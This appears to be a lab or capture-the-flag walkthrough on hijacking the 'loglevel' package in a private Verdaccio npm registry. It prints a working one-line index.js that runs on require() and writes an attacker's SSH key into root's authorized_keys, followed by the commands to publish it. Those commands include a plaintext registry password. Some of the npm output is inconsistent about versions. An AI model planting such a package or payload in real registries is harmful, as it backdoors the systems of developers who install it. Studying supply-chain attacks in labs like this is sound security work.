Malicious npm Package


The bare minimum requirement for an npm package is the following;

  • A package file; (usuallyindex.js as default)
  • A metadata file; package.json

Package Generation


# mkdir loglevel ; cd loglevel

The name of the package is loglevel as it is intended to replace/hijack the original loglevel package from the target verdaccio instance Additionally, the /opt/app/index.js file loads the loglevel package. Therefore, it MUST BE set the same name.

Package


root@be819313580c:~/loglevel# cat index.js 
require('child_process').exec('mkdir -p /root/.ssh ; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali" > /root/.ssh/authorized_keys')

The package itself is a dead simple one-line JS payload This will put the Kali’s public SSH key to the SSH file in the home directory of the root user.

Successful exploitation allows me to escalate the privileges via SSH directly to the target system as the root user

This was the initial payload that I tried many times for so long. I wanted to do a reverse shell instead writing my SSH I tried many different formats and structures, yet none of them worked likely due to my lack of JS programming skill.

it is extremely important to note that loading a package alone via the require() function is enough to get the code execution. I do not need to necessarily draw the same functions and methods. in that regard, it is very similar to python’s import as it also executes the loading modules/library

Metadata


# npm init -f
npm WARN using --force Recommended protections disabled.
Wrote to /root/loglevel/package.json:
 
{
  "name": "loglevel",
  "version": "2.0.5",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC"
}
 
 

Generating the package.json file containing metadata npm supports package generation with the init flag. The -f flag was used to pull the parent directory name and set it to the name attribute *It’s important to note that value to the version attribute must be changed as changes are made to the JS file itself *

Publishing


# npm adduser --registry http://0.0.0.0:4873             
npm notice log in on http://0.0.0.0:4873/
username: kavi
password: IhateMathematics123#
email: (this IS public) blah@blah.blah
logged in as kavi on http://0.0.0.0:4873/.

Authentication is required for publishing an npm package to a private verdaccio registry So I will just put the system credential of the kavi user It’s rather unnecessary unless system-wide operations with the instance are expected.

# npm publish --registry http://0.0.0.0:4873/
npm notice 
npm notice package: loglevel@1.0.1
npm notice === Tarball Contents === 
npm notice 377B    index.js                                     
npm notice 222B    package.json                                 
npm notice 87B     storage/.verdaccio-db.json                   
npm notice 3.1kB   verdaccio/config.yaml                        
npm notice 110B    verdaccio/htpasswd                           
npm notice 2.1kB   verdaccio/storage/loglevel/loglevel-1.0.0.tgz
npm notice 110.8kB verdaccio/storage/loglevel/package.json      
npm notice === Tarball Details === 
npm notice name:          loglevel                                
npm notice version:       2.0.5                                   
npm notice filename:      loglevel-2.0.5.tgz                      
npm notice package size:  29.8 kB                                 
npm notice unpacked size: 116.8 kB                                
npm notice shasum:        f0fdc7a051c393b434b06a7f53dbdee109b02d6e
npm notice integrity:     sha512-QqfqbDvYwwwf5[...]ODhK0BiHbzaOw==
npm notice total files:   7                                       
npm notice 
npm notice publishing to http://0.0.0.0:4873/
+ loglevel@1.0.1

Successfully published! The malicious npm package should now be available